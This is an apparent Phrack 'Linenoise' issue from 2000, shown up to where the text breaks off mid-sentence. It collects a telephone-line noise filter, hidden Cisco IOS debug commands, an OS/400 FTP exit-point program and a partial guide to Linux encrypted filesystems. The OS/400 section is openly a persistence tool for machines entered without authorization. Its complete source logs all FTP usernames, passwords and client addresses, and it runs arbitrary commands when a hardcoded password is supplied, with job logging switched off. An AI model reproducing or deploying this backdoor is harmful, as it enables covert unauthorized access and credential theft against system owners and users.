- P H R A C K   M A G A Z I N E -

                            Volume 0xa Issue 0x38
                                  05.01.2000
                                  0x03[0x10]

|----------------------------- L I N E N O I S E -----------------------------|
|-----------------------------------------------------------------------------|
|------------------------------- phrack staff --------------------------------|

Phrack Linenoise is a hodge-podge.  Part virtual Mr. Bobo'z table, part
Leftorium; Linenoise is where articles that can't quit make it end up.
Some of the various reasons things end up here:

- Addendum and Errata
  There is a section in Linenoise specifically for corrections and additions
  to previous articles.  Feedback to articles, however, is alwayz placed in the
  savory loopback section.

- Too short
  Articles that are just a bit too short to stand on their own, but still
  contain worthwhile information can end up here.

- Niche audience
  The articles that cater to a narrow group of readerz might also end up here.

|0x01|------------------------------------------------------------------------|
|------------ data connections on old electromechanical exchanges ------------|
|TOKATA & Vladi <lv_tokata@yahoo.com>-----------------------------------------|

In many poor countries (such as Bulgaria) there are still a lot of old
electromechanical switches - SxS (step-by-step), Panel and Crossbar.  Maybe
some Phrack readers from these countries download the Phrack releases through
these switches.  So, I think it is useless to explain the quality of such
lines. They are damned noisy, mf!

So, with the help of a friend, we developed a new device, a simple one at that,
which makes a better data connection.  It increases the quality some 30 - 40%!
We have successfully tested it with many modems (from 2400bps to 33600bps):
DataLink, SunShine, UMC, Rockwell, US Robotics...  It _will_ work!


    Notes:

- This device *only* works on 60V switches.  AFAIK, those are the only SxS
  switches around.

- List of exchanges (used in Bulgaria), on which this device works:

  SxS  -->   A-29 (Siemens), F-61 (maybe Siemens too), ATS-54 (Russian)
  Xbar -->   KRS 103/203 (bulgarian), ATSK - 50 (russian)

  For Russian people it's quite easy, because we use almost the exact same
  exchanges (such as ATS-54 and ATSK-50).

- The device DON'T work on these exchanges:

  - ESK - 10000E (also known as Crosspoint, made by Siemens)

  - "Kvant" (Russian)

  - EWSD, AXE, MT, ESS (and all the digital exchanges)


The schematic is very simple:


              2
              __o
             /    S
       o----/   o-----|
       |         1    |
  o----|--------------|-------o
       |              |
       |              |
  o-----------| |-------------o
               C

  K -->

  C -->  capacitor.  Use a 1uF one (maximum)!  You can put a smaller one,
         but _NOT_ put more than 1uF!!!

  S  --> DPST switch.  "1" is position 1, and "2" is position 2.


DPST

On the schematic you _must_ :-) see the two phone wires.  They have the
capacitor and the switched connected to them.

So, what is the use of the DPST switch?

When you begin to dial the switch must be moved to (1).  That will shunt the
capacitor, otherwise you would not be able to dial through the phone line.
When the connection is estabilished - move the switch to (2) in order to join
the capacitor. Gotit?


Theory of operation


All the noise on the old switches springs up from the electromechanical
switching process.  Our device (the capacitor) is used as a filter of low
frequencies (including nasty brooms, which really fuck up data connections).

    - TOKATA & Vladi <lv_tokata@yahoo.com>

|0x02|------------------------------------------------------------------------|
|------------------------- Undocumented IOS Commands -------------------------|
|krnl-------------------------------------------------------------------------|



Introduction

Here are some commands in cisco systems' Internetworking Operating System
which are hidden from users at any privilege level.  Some are informative,
while others are rather mundane.  Some will even lock the router if invoked
incorrectly.  This list is a subset of all hidden commands.  Descriptions
of commands are included where possible.  All were tested on a box running
12.0-6S.


exec commands

@clear profile (clear cpu profiling)
@debug ip ospf monitor
@debug oir (debug online insertion and removal)
@debug par mo (debug parser modes)
@debug sanity (debug buffer pool sanity)
@debug subsys (debug discrete subsystems)
@debug buffer (additional buffer debugging)
@gdb kernel 
@gdb examine pid
@gdb debug pid 
@if-console [<slot>] [console|debug]    
@profile <start> <stop> <granularity>.
@sh chunk  (show chunks of memory allocated to processes)
@sh chunk summ (show chunk allocation summary)
@sh idb  (shows interface database)
@sh in stats  (gives you switching path output per interface)
@sh ip ospf maxage-list
@sh ip ospf delete-list
@sh ip ospf statistic
@sh ip ospf bad-checksum
@sh ip ospf event     
@sh isis timers
@sh isis tree  IS-IS link state database AVL tree
@sh isis tree level-2
@sh isis private         	
@sh profile [detail|terse] (show cpu profiling)
@sh parser modes (shows current process access-tree.)
@sh parser unresolv (shows unresolved links in access-tree)
@sh list     
@sh list none
@sh region (shows image layout)
@sh region <address> (shows image layout at given address)
@sh timers (show timers for timer command in config mode)	
@sh int <INT> switching (shows switching path information for the interface)
@sh proc all-events (shows all process events)
@sh sum (show current stored image checksum)
@test transmit (test the transmission of L2 frames)    


configuration mode commands

@boot system rom
@boot module   
@exception-slave dump X.X.X.X      
@exception-slave protocol tftp
@exception-slave corefile 
@ip slow-convergence     
@ip tftp boot-interface          
@loopback diag
@loopback dec (at dec chip)
@loopback test 
@loopback micro-linear   
@loopback motorola
@scheduler max-task-time 200 (last val in milliseconds)
@scheduler heapcheck process (memory validation.. after proc)         
@scheduler heapcheck poll (memory valid after some poll)
@scheduler run-degraded   (perhaps in a failure mode?)
@service internal 
@service slave-coredump       
@service log backtrace (provides traceback with every logging instance)
@tunnel carry-security

in bgp config:
@neighbor ctalkb-out filter-as 100 d
% filter-as is an obsolete subcommand, use filter-list instead  

in router isis config:
@partition-avoidance   



XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

@clear profile

clears out the current CPU profiling configuration.

@debug buffer  

as with buffer sanity checking, no debugging information on lightly
loaded box.

ctalkb#debug buffer
Additional buffer checking debugging is on   

@debug ip ospf monitor

provides information on the status of the ospf process in the debugging
logs.  

ctalkb#debug ip ospf monitor
OSPF spf monitoring debugging is on    
2w3d: OSPF: Syncing Routing table with OSPF Database
-Traceback= 6064B628 603B6D2C 603B6D18
2w3d: OSPF: Completed Syncing and runtime is 4 msec
-Traceback= 6064B65C 603B6D2C 603B6D18        
2w3d: OSPF: Start redist-scanning
-Traceback= 6064AC20 6062B430 603B6D2C 603B6D18
2w3d: OSPF: Scan for both redistribution and translation
-Traceback= 6064AC60 6062B430 603B6D2C 603B6D18
2w3d: OSPF: End scanning, Elapsed time 0ms
-Traceback= 6064B13C 6062B430 603B6D2C 603B6D18
2w3d: OSPF: Syncing Routing table with OSPF Database
-Traceback= 6064B628 603B6D2C 603B6D18                 

ctalkb#debug oir
Online Insertion and Removal debugging is on
2w3d: OIR: Process woke, 'Event', stall=2, usec=0xB6835B36
-Traceback= 6040967C 603B6D2C 603B6D18
2w3d: OIR: Shutdown pulled interface for Serial5/0
-Traceback= 600E30C4 60409204 604096C8 603B6D2C 603B6D18
2w3d: %OIR-6-REMCARD: Card removed from slot 5, interfaces disabled
-Traceback= 60409748 603B6D2C 603B6D18
2w3d: OIR: Remove hwidbs for slot 5
-Traceback= 60409368 60409750 603B6D2C 603B6D18
2w3d: OIR: Process woke, 'Event(max not running)', stall=3,
usec=0xD0115C9E
-Traceback= 6040967C 603B6D2C 603B6D18
2w3d: OIR: Process woke, 'Timer(max running)', stall=3, usec=0xDDBB56D6
-Traceback= 6040967C 603B6D2C 603B6D18
2w3d: OIR: (Re)Init card 5, retry_count=3
-Traceback= 60409894 603B6D2C 603B6D18
2w3d: %OIR-6-INSCARD: Card inserted in slot 5, interfaces administratively
shut down
-Traceback= 604098BC 603B6D2C 603B6D18              

@debug par mo (debug parser modes)

this is used to show what is happening at the parser at specific
instances.  it will show you a basic walkthrough of the lookups needed
to process the cli commands

ctalkb#debug par mo
Parser mode debugging is on        
00:54:40: Look up of parser mode 'controller' succeeded            
00:54:40: Look up of parser mode 'route-map' succeeded


@debug sanity

couldn't get any diagnostic information on this.  router is not
heavily loaded so there isn't much buffer churn and burn to 
contend with.  

ctalkb#debug sanity
Buffer pool sanity debugging is on    
 
@debug subsys 

subsystem information indicates a code segment and its version.  when
i had debugging on, i tried reloading the system microcode.  this did
not cause any interesting debugging information.  

ctalkb#debug sub
Subsystem debugging is on         
  
@debug oir 

extended online insertion and removal debugging information.  

@gdb kernel 

i couldn't get this to do much besides render the router inoperable.  
there seems to be no interface comparable to the stock gnu debugger.
perhaps there are additional parameters that i am missing.  this applies
to all of the debugger subcommands found.

ctalkb#gdb ker
Kernel GDB allowed on console terminal only

ctalkb#gdb ex 91
||||(lock up)          
   
@gdb debug pid 
ctalkb#                               
ctalkb#gdb debug 91
Can't debug your own process
ctalkb#         

@if-console [<slot>] [console|debug]    

no output since i don't have a viper router or 12XXX.  however,
this is one of the most interesting hidden commands available for the
cisco.  it allows you to get on a card console (i.e. per individual slot
instead of per individual chassis) and print out extended diagnostic
and debugging information on the specific card.  you enter the card
in unpriv mode and need to enable before seeing all of the commands.  

@profile <start> <stop> <granularity>.

you can setup cpu profiling in the exec mode with the
profile command.  process profiling allows you to find which segment
of code is perhaps hogging the CPU.. what you really need to get use
out of this feature is a symbol table so you can pull the location of
the appropriate segment of code.  the segment is defined by the start
and stop values given to the profile command.  the granularity specifier
allows you to get down to single instruction level.  

the cpu has its own internal timer that is incremented regardless
of whether the desired segment of code is executed.  when the desired
segment of code is executed, a per-profile counter is incremented.  
comparison of this counter with the overall system timer allows you to
get some handle on how much of the cpu the specific segment is using.


ctalkb#profile ?
  task
  start
  stop
  hogs
  <0-FFFFFFFF>

@show chunk  (show chunks of memory allocated to processes)

there is the traditional malloc/free memory management in place
on the cisco.  there is also chunk allocation.  the main benefit
of chunk allocation over its predecessor is that memory overhead
is only paid by the large chunk (which is then carved up into
smaller pieces) instead of by each individual malloced block.

ctalkb#sh chunk
Chunk Manager:
 142 chunks created, 1 chunks destroyed
 46 siblings created, 0 siblings trimmed

Chunk element  Block Maximum  Element Element Total
cfgsize Ohead   size element    inuse   freed Ohead    Name
      16     0 65532    3270      717    2553        8 List Elements
0x61525688
      52     0 65532    1168        0    1168        0 List Headers
0x61535684
      16     0 65532    3270        0    3270        8 messages 0x61550068  


@show chunk summ 

summary listing of allocated chunks. shows you big chunk size, the 
number of siblings divided up within that chunk space as well as
the overhead taken by the chunk.  

ctalkb#sh chunk sum
Chunk Manager:
 142 chunks created, 1 chunks destroyed
 46 siblings created, 0 siblings trimmed

     Element Sibling size Total   Total   Total   Inuse Ovrhd Chunk
Flag size(b) --range(b)-- Siblg   alloc    Free     HWM   (b) name
D         16   253-  752      0    3270    2553     724     8 ListElements
D         52  1003- 1502      0    1168    1168       0     0 List Headers
D         16   253-  752      0    3270    3270      21     8 messages
D          8   253-  752      0    5450    3974    1476     8 Reg Function
8 


@sh idb  

This command shows the hardware and software interface databases.
this is cisco's way of keeping track of how many interfaces are present
on the system.. includes hardware and software interfaces (physical,
subinterfaces etc).  there is a software limit of 1024 i believe in 
ios 11 and 2048 in ios 12.  this is a global limit for the router.

output:

ctalkb#sh idb

19 SW IDBs allocated (2296 bytes each)

9 HW IDBs allocated (4008 bytes each)
HWIDB#1   1   FastEthernet0/0 (Ether)
HWIDB#2   2   Serial2/0:0 (Serial)
HWIDB#3   3   Ethernet3/0 (Ether)
HWIDB#4   4   Ethernet3/1 (Ether)
HWIDB#5   5   Ethernet3/2 (Ether)
HWIDB#6   6   Ethernet3/3 (Ether)
HWIDB#7   7   Serial4/0 (Serial)
HWIDB#8   8   Serial5/0 (Serial)
HWIDB#9   9   Loopback0

@sh in stats  (gives you switching path output per interface)
Ethernet3/0
          Switching path    Pkts In   Chars In   Pkts Out  Chars Out
               Processor     786433  594121827     556812  177400752
             Route cache     107469    8910774     107451    8925784
                   Total     893902  603032601     664263  186326536       

@sh int e3/0 switching  

goes over some of the basic processes and the data that they are
processing.  shows what switching paths were used for the specific
data counted.  basic processes == IP and routing processes.  others
are lumped into the default category.


ctalkb#sh int e3/0 switching
Ethernet3/0
          Throttle count          0
        Drops         RP          0         SP          0
  SPD Flushes       Fast          0        SSE          0
  SPD Aggress       Fast          0
 SPD Priority     Inputs        972      Drops          0

     Protocol       Path    Pkts In   Chars In   Pkts Out  Chars Out
        Other    Process          0          0        167      10020
            Cache misses          0
                    Fast          0          0          0          0
               Auton/SSE          0          0          0          0
           IP    Process       4556     282352       3733     541124
            Cache misses          0                                       
 


@sh ip ospf maxage-list

don't have ospf running.. would seem that this command shows you 
the current value of the max-lsa age.  there is some periodic refresh
which needs to be accounted for.	

ctalkb#sh ip ospf max
  AS System N
  Maxage delete timer due in NEVER       

@sh ip ospf delete-list

this command shows you the lsas which have been deleted from
consideration.  as i don't have ospf running, i can't ascertain whether
this is lsas which were taken out of consideration by the SPF algorithm
or by other means.

ctalkb#sh ip ospf delet
  AS System  N

    Area BACKBONE(0)

    ROUTER and NETWORK LSDB delete list

      Dest: 172.16.0.1, Type: 0, Metric: 1, ADV RTR: 172.16.0.1
      Path:
        gateway 172.16.0.1, interface Loopback0

    SUMMARY NET and ASBR LSDB delete list

    TYPE-7 EXTERNAL LSDB delete list

    EXTERNAL LSDB delete list                      

@sh ip ospf statistic

this is a really handy command because it gives you time averages of
different portions of the ospf process.  this is useful in that it further
lets you pin down IGP convergence times on your network as well as to 
isolate the areas which are causing the process to chug.

ctalkb#sh ip ospf stat
  Area 0: SPF algorithm executed 1 times

  SPF calculation time
Delta T   Intra D-Intra Summ    D-Summ  Ext     D-Ext   Total   Reason
2w3d   0        0       0       0       0       0       0       R,

  Avg. and Accumulated time of the last 250 process_ase()

                      Avg.      Accumulated
    ASBR-lookup       0,        0
    Forw-Addr-lookup  0,        0
    compare metric    0,        0              
... (more)

@sh ip ospf bad-checksum

shows LSAs which have failed the checksum.

not sure if this is a count or actual event times since i didn't
have ospf functioning.

@sh ip ospf event     

provides a history lists of subprocess function execution.. useful so that
the operator can understand a bit more about the execution flow

ctalkb#sh ip ospf eve
1    54700   Generic:  ospf_redist_callback  0x618B36A4
2    114716  Generic:  ospf_redist_callback  0x618B36A4
3    174736  Generic:  ospf_redist_callback  0x618B36A4
4    234756  Generic:  ospf_redist_callback  0x618B36A4
5    294772  Generic:  ospf_redist_callback  0x618B36A4
6    320796  Generic:  ospf_build_ex_lsa  0xC658FF00
7    320796  Generic:  ospf_build_ex_lsa  0xAC100000
8    320796  Generic:  ospf_build_ex_lsa  0xD16F5C00   

@sh isis timers

useful in that it provides a brief overview of execution flow
in the isis process.  shows you frequency of things like l1/l2 hello
etc.

ctalkb#sh isis timers
  Hello Process
    Expiration    Type
|        0.856  (Parent)
  |        0.856  L2 Hello (Ethernet3/0)
  |        6.352  L1 Hello (Ethernet3/0)
  |        6.940  Adjacency

  Update Process
    Expiration    Type
|        1.060  (Parent)
  |        1.060  Ager
  |        1.352  L2 CSNP (Ethernet3/0)
  |        8.616  L1 CSNP (Ethernet3/0)
  |     3:25.860  (Parent)
    |     3:25.860  LSP refresh
    |     9:02.160  LSP lifetime
    |     9:24.568  LSP lifetime
    |    17:16.084  LSP lifetime
  |    20:58.536  Dynamic Hostname cleanup    

@sh isis tree  IS-IS link state database AVL tree

shows path and depth taken to get to other level 1/2 intermediate
systems in some routing domain.  shows both by default.

ctalkb#sh isis tree

IS-IS Level-2 AVL Tree
Current node = X.X.X.00-00, depth = 0, bal = 0
  Go down left
Current node = X.X.Y.00-00, depth = 1, bal = 0
---> Hit node X.X.Y.00-00
  Back up to X.X.X.00-00
Current node = X.X.X.00-00, depth = 0, bal = 0
---> Hit node X.X.X.00-00
  Go down right
Current node = X.X.X.02-00, depth = 1, bal = 0
---> Hit node X.X.X.02-00
  Back up to X.X.X.00-00              

@sh isis private

displays a little diagnostic information related to the isis process.
         	
ctalkb#sh isis private
ISIS: FastPSNP cache (hits/misses): 0/4002
ISIS: LSPIX validations (full/skipped): 216271/490412
ISIS: LSP HT=0 checksum errors received: 0
ctalkb#   

@sh list     

perhaps a singly linked list manager which displays global
pointer to the first element in each linked list as well as the 
number of members in each list.

ctalkb#     sh list
List Manager:
     1415 lists known, 1561 lists created

   ID   Address  Size/Max   Name
    1  613EE970    11/-     Region List
    2  613EEE98     1/-     Processor
    3  613EFDE8     1/-     I/O
    4  613F0D38     1/-     I/O-2
    5  6149EDD0     0/-     Sched Critical
    6  6149ED90     0/-     Sched High
    7  6149EB00     0/-     Sched Normal   

@sh list none
ctalkb#     sh list none
List Manager:
     1415 lists known, 1561 lists created

   ID   Address  Size/Max   Name
    1  613EE970    11/-     Region List
    2  613EEE98     1/-     Processor
    3  613EFDE8     1/-     I/O
    4  613F0D38     1/-     I/O-2
    9  6149ED10    82/-     Sched Idle
   11  61499A50     8/-     Sched Normal (Old)
   12  6149CC10     1/-     Sched Low (Old)     

@sh parser modes (shows current process access-tree.)
  
ctalkb#sh par mo
Parser modes:
Name                Prompt              Top       Alias   Privilege
exec                                    0x60EFB294TRUE    TRUE
configure           config              0x60EFABACTRUE    TRUE
interface           config-if           0x60EF7AECTRUE    TRUE
subinterface        config-subif        0x60EF7AECTRUE    FALSE
null-interface      config-if           0x60EFB368TRUE    TRUE
line                config-line         0x60EF3F84TRUE    TRUE         

@sh parser un
ctalkb#sh parser un
Unresolved parse chains:
   40
   40
  198
  198
  322      

@sh proc all-events
ctalkb#sh proc all-events
Queue Notifications
     Event    Name                      Pid  1 Process
  61588410    Pool Grows                  4    Pool Manager            ct
0
  615A156C    Log Messages               19    Logger                  ct
0
  615EE8A0    IPC inboundQ               11    IPC Seat Manager        ct
0
  615EE934    IPC Zone inboundQ           9    IPC Zone Manager        ct
0
  61642840    ARP queue                  12    ARP Input               ct
0


@sh profile [detail|terse] (show cpu profiling)


ctalkb#sh prof d
Profiling enabled

Block 0: start = 91, end = FFF, increment = 8, EXEC
Total = 0
System total = 9802
ctalkb#sh prof t
PROF 91 FFF 8
PROFTOT 10065
ctalkb#           




@sh region (shows image layout)

displays the program layout for the uncompressed image.  

ctalkb#sh region
Region Manager:

      Start         End     Size(b)  Class  Media  Name
 0x07800000  0x07FFFFFF     8388608  Iomem  R/W    iomem2
 0x20000000  0x21FFFFFF    33554432  Iomem  R/W    iomem
 0x57800000  0x57FFFFFF     8388608  Iomem  R/W    iomem2:(iomem2_cwt)
 0x60000000  0x677FFFFF   125829120  Local  R/W    main
 0x60008900  0x6123AC29    19079978  IText  R/O    main:text
 0x6123C000  0x6136A17F     1237376  IData  R/W    main:data
 0x6136A180  0x6152565F     1815776  IBss   R/W    main:bss
 0x61525660  0x677FFFFF   103655840  Local  R/W    main:heap   

@sh region <address>

picking a random location within memory shows what segment that 
specific address falls under.  same info can be gleaned from the
root command.

ctalkb#sh region a 0x07800000
Address 0x07800000 is located physically in :

  Name  : iomem2
  Class : Iomem
  Media : R/W
  Start : 0x07800000
  End   : 0x07FFFFFF
  Size  : 0x00800000    

@sh  sum

this takes the compressed image and computes its checksum.  this is
compared with the previously stored checksum to ensure integrity.

ctalkb#sh sum
New checksum of 0x36D03E96 matched original checksum
ctalkb#                      

@sh timers (show timers for timer command in config mode)	
ctalkb#sh tim

State  Handle  interval     due  invoked   missed   Process  

@test transmit (test the transmission of L2 frames)    

this command allows you to send the specified number of frames
to the specified destination:

ctalkb#test transmit
interface: Ethernet3/0
total frame size [100]:
1) To this interface
2) To another interface
9) Ask for everything
Choice: 2
Encapsulation Type:
1) Ethertype
2) SAP
3) SNAP
4) SNAP (Cisco OUI)
5) SNAP (EtherV2 OUI)
6) Novell 802.3
Choice: 1
Protocol type:
1) IP
2) XNS
3) IPX
9) Ask for everything
Choice: 1                 


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

(in config mode)

@boot system rom

if the system has an image burned in on rom, this command allows you to
revert to that image instead of the image stored on some other secondary
media (flash card).

ctalkb(config)#boot system rom
The 'boot system rom' command is not valid for this platform.
It has been translated to 'boot system flash bootflash:'  

@boot module   

the command is there, but it doesn't seem to do anything besides barf.

00:34:02: %PARSER-3-BADSUBCMD: Unrecognized subcommand 11 in configure
command 'boot module a'     


@exception-slave dump X.X.X.X      

informs the router where to dump the core image.

@exception-slave protocol tftp

tells the router what protocol to use when dumping the core image.

@exception-slave corefile 

tells the router what to name the corefile.  note that this corefile
has to be at least 666 on the tftp server for the router to be able to
write it.

@ip slow-convergence     

i haven't been able to see any difference in the router performance after
enabling this command.  regardless, it does not look like a command which
would improve the router performance.

@ip tftp boot-interface          

tells the router what interface to find its image in the case that it
wants to boot net via tftp.

@loopback diag

  all of these loopback commands allow you to loop the hardware at
specific points so that you can isolate hardware faults. e.g. this
is not just a loopback net and loopback local command set.  also,
not all pieces of hardware can be looped at all the below points.

@loopback dec (at dec chip)
@loopback test 
@loopback micro-linear   
@loopback motorola

@scheduler max-task-time 200 (last val in milliseconds)

this knob allows you to set the number of milliseconds a specific
process is on CPU before it reports debugging information.  a relatively
easy way to report which process is hogging.   sh proc cpu is obviously
the best way to track down cpu hogs while on the router, but this command
allows you to track down more insidious hogs.

00:13:18: %SYS-3-CPUHOG: Task ran for 308 msec (3/1), process = Virtual
Exec, PC = 603C9AD8.

@scheduler heapcheck process (memory validation.. after proc)         
@scheduler heapcheck poll (memory valid after some poll)
         
@scheduler run-degraded   (perhaps in a failure mode?)

causes the scheduler to attempt to keep running even in the face of some
sort of fatal process error.  the default action of IOS is to have this
knob turned off and to crash the router upon the recognition of a fatal
error.  this is done on a per-process basis.  obviously, some processes
are more critical than others and moving the offending process out of the
scheduler won't really buy you any time or information.

@service internal 

this is a really nifty command.  turning it on in global configuration
mode allows you to view some previously hidden commands.  turn it on
by default and you will eventually find some extras.  

some commands are not even accessible unless this is turned on.
(sh proc all-events fex)

@service slave-coredump       
	
	this allows you to dump core when applicable to some slave
machine for logging purposes.  this does take a long time depending
on the amount of memory in the router (copying 128MB with varying
link speeds.  you do the math).  it is important to note that this
copying occurs before the router enters usable mode, so you basically
have added quite a bit of delay into the reload time.   the
exception-slave commands inform the router where to dump the core image.


@service log backtrace (provides traceback with every logging instance)

-Traceback= 603C9AE0 603546C0 60354A48 6035CA58 6035C3F4 6035C34C 60373EBC
603B6D2C 603B6D18
     
in bgp config:
@neighbor ctalkb-out filter-as 100 d

% filter-as is an obsolete subcommand, use filter-list instead  

this is a nifty command in that it gives you a little more insight
into whats happening.  i would prefer this command even though it 
has been deprecated in favor of the filter-list command.  reasoning:
this command is more specific. 


in router isis config:
@partition-avoidance   
 
not quite sure what this does since i don't have a complex isis setup to test. 


|0x03|------------------------------------------------------------------------|
|----------------------- OS/400 Exit Point Programming -----------------------|
|clever <clever@dhp.com>------------------------------------------------------|


Introduction

Exit points enable programmers to embed custom logic in otherwise
non-configurable system functions.  At a certain stage of its execution, a 
program with an exit point will execute the programs which have been 
registered with its exit point, passing relevant parameters to the called 
programs.  At that time, the exit point program can do anything it likes with 
the parameters passed to it and modify the behavior of the calling program by 
passing back values, if it decides to do so.

Exit point programming is somewhat esoteric.  Most people who deal with 
the AS/400 are not aware of the existence of exit points, and most of those 
who know about them do not use them.  System administrators who care about 
security have used them since they became available to improve system 
security by logging things like user profile creation or limiting the use of 
system facilities to a subset of the users who could ordinarily make use of 
them.

Suppose that you have gained access to a typical AS/400 system.  Its
administrators are concerned about security, but they lack a consistent 
security plan and the skill to implement it, even if they did.  Even so, the 
misconfiguration that allows you to gain access may be noticed and fixed at 
any time.  A new user profile would probably be spotted.  You need a way to
retain control over the machine that won't be noticed by most people.  Exit
points do most of the work for you.

One exit point present in the ftp server software is "FTP Server Logon",
named QIBM_QTMF_SVR_LOGON.  Its parameter format is TCPL0100.

TCPL0100:
  Application Identifier        4B      Input      
  User Identifier               *       Input
  User Identifier length        4B      Input        
  Authentication String         *       Input
  Authentication String length  4B      Input
  Client IP Address             *       Input
  Client IP Address length      4B      Input     
  Return Code                   4B      Output
  User Profile                  10A     Output
  Password                      10A     Output
  Initial Current Library       10A     Output

The parameters marked 'Input' are set by and received from the system; these
fields contain user signon information, which we should log.  The only
output parameter about which we care in this instance is 'Return Code',
which we must set to 1, telling the system to proceed with authentication
and that the password provided must match the actual password of the user
profile for authentication to succeed.  Other return code values cause the 
system to do various things that you might find useful.  Consult the 
documentation if you are curious.

So.
1. ftp> open x.x.x.x
   Connected to x.x.x.x.
   220-QTCP at x.x.x.
   220 Connection will close if idle more than 5 minutes.
   Name (x.x.x.x:root): werd
   331 Enter password.
   Password: f.u.c.k.493 
2. The exit program is called.  The server passes it the parameters mentioned
   above.
3. The exit program does whatever it likes.  It sets the 'Output' parameters, 
   if it likes.  The exit program returns.
4. The server considers the parameters passed back to it and does whatever 
   is indicated by those parameters.

Below is a stripped-down version of one tool I use for this.  It isn't
hidden.  It should only be used on boxes whose administrators are somewhere 
between 'Don't Care' and 'Making A Clumsy Effort At Security'.
That is to say, most of them.

Names/types.
F01     RPGLE
F02     CLLE
FP      PF

Creating.
CRTPF FILE(x/FP) SRCFILE(x/x) TEXT(*BLANK)
CRTRPGMOD MODULE(x/F01) SRCFILE(x/x) DBGVIEW(*NONE) OUTPUT(*NONE)
CRTCLMOD MODULE(x/F02) SRCFILE(x/x) OUTPUT(*NONE) LOG(*NO) DBGVIEW(*NONE)
CRTPGM PGM(x/F) MODULE(x/F01 x/F02) TEXT(*BLANK) ALWUPD(*NO) USRPRF(*OWNER)
DLTMOD MODULE(x/F01)
DLTMOD MODULE(x/F02)
Put F and FP somewhere QTCP can find them.  QUSRSYS, maybe.
Register x/F with QIBM_QTMF_SVR_LOGON using WRKREGINF.
Restart ftp.

Using.
The command goes in the user field.  The special authorization string goes 
in the password field.  Normal signons get logged in FP.  Ignore the
error; data area TEST does get created in QGPL.
ftp> open x.x.x.x
Connected to x.x.x.x.
220-QTCP at x.x.x.
220 Connection will close if idle more than 5 minutes.
Name (x.x.x.x:root): crtdtaara qgpl/test *dec
331 Enter password.
Password: itsmeclever
530 Log on attempt by user CRTDTAARA rejected.
ftp: Login failed.
Remote system type is .
ftp>

Code.
(F01)
     FFP        O  A E             DISK

     D S               c                   'itsmeclever'
     D
     DParms            pr                  extpgm('F01')
     D AppID                          9b 0
     D UsrID                        100a
     D UsrIDLen                       9b 0
     D AutStr                        32a
     D AutStrLen                      9b 0
     D ClntIP                        15a
     D ClntIPLen                      9b 0
     D Rcd                            9b 0
     D UsrPrf                        10a
     D Pwd                           10a
     D InlCurLib                     10a
     D
     DParms            pi
     D AppID                          9b 0
     D UsrID                        100a
     D UsrIDLen                       9b 0
     D AutStr                        32a
     D AutStrLen                      9b 0
     D ClntIP                        15a
     D ClntIPLen                      9b 0
     D Rcd                            9b 0
     D UsrPrf                        10a
     D Pwd                           10a
     D InlCurLib                     10a
     D
     DLog              pr
     D Type                          10a   value
     D Text                         200a   value
     D
     DExcCmd           pr
     D Cmd                          100a   value


     C                   if        %subst(AutStr:1:AutStrLen) = S
     C                   callp     ExcCmd(%subst(UsrID:1:UsrIDLen))
     C                   eval      *inlr = *on
     C                   return
     C                   endif
     C
     C                   callp     Log('FTP':
     C                                 %subst(UsrID:1:UsrIDLen)+ ' '+
     C                                 %subst(AutStr:1:AutStrLen)+ ' '+
     C                                 %subst(ClntIP:1:ClntIPLen))
     C
     C                   eval      Rcd = 1
     C
     C                   eval      *inlr = *on
     C                   return


     PLog              b
     D                 pi
     D Type                          10a   value
     D Text                         200a   value
     C                   time                    FPTS
     C                   eval      FPTYPE = Type
     C                   eval      FPTEXT = Text
     C
     C                   write     FPR
     P                 e

     PExcCmd           b
     D                 pi
     D Cmd                          100a   value
     C                   callb     'F02'
     C                   parm                    Cmd
     P                 e

- - - - - - - - - -

(F02)
	     PGM        PARM(&COMMAND)
	     DCL        VAR(&COMMAND) TYPE(*CHAR) LEN(100)

	     MONMSG     MSGID(CPF0000) EXEC(GOTO CMDLBL(ERROR))

	     CHGJOB     LOG(0 99 *NOLIST) LOGCLPGM(*NO)
	     CALL       PGM(QCMDEXC) PARM(&COMMAND 100)

ERROR:
	     ENDPGM

- - - - - - - - - -

(FP)
     A          R FPR
     A            FPTS          14S 0
     A            FPTYPE        10A
     A            FPTEXT       200A


Hope this helps someone.

clever <clever@dhp.com>
20000222


|0x04|------------------------------------------------------------------------|
|---------------------- Linux and Encrypted Filesystems ----------------------|
|phunda mental <phundie@yahoo.com>--------------------------------------------|

Most people don't realize it, but Linux has incredibly robust support
for encrypted filesystems. This functionality is not present in the
stock kernel due to U.S. export regulations, but it can be easily
added by obtaining the patchset for your kernel version from
www.kerneli.org. 

In this article, I will present a quick introduction to setting up
strong encryption within the Linux kernel, and then I will present
a few configurations that allow for seperatly encrypted home directories
for each user, encrypted disk partitions, etc. 

First, you must download util-linux-2.9e.tar.gz[1], and the kernel
source patches. For the purposes of this article, I'll assume you are
running kernel 2.2.4; therefore you would get patch-int-2.2.4.1.gz[2].

In /usr/src do ln -s linux lin.2.2.4 (the patch expects this to be
the name of the source directory) and apply the patch with
zcat patch-int-2.2.4.1.gz | patch -p0.

Now look in linux/Documentation/crypto. There are some patches in
there to Linux utilities. Unpack the util-linux distro, apply the
necessary patch, and build the new utilities. You'll need to install
the new losetup and mount commands. Remember that mount needs to be
suid root if you want users to have the ability to mount encrypted
volumes. 

Now build a kernel with make menuconfig, and take a look at the dox in the
Documentation/crypto directory. You'll notice that the kernel patches 
give support for Blowfish, DES, DFC, IDEA, MARS, RC6 and Serpent. These
ciphers can be used by the networking code, or the loopback device.
The loopback device also has special support for CAST128 and Twofish.

Once you have your new kernel up and running, you can make a blowfish 
encrypted volume like so:

$ dd if=/dev/zero of=vol.img bs=1024 count=2000
$ losetup -e blowfish /dev/loop0 vol.img

Losetup will prompt you for a passphrase. This passphrase is hashed with
RIPEMD-160 in order to key the cipher. 

$ mkfs.ext2 /dev/loop0
$ losetup -d /dev/loop0 #disconnect the loopback device

All of the preceding commands can be issued as a user, to actually
mount the volume, you will need root status, or the appropriate line
in /etc/fstab.

# mount vol.img /mnt -o encryption=blowfish

Mount will prompt you for a passphrase, enter the one you gave to
losetup, and the volume will get mounted on /mnt. 

In order for user joe to mount ~/.img on ~/secure
a line in fstab like this is needed:

/home/joe/.img /home/joe/secure ext2 noauto,user,rw,exec,encryption=blowfish

Now joe can mount his volume with the command "mount ~/secure".

A similar tactic can be used to have joe's entire home directory
encrypted.

Make a directory called /usr/imgs/joe and let the directory "joe" be
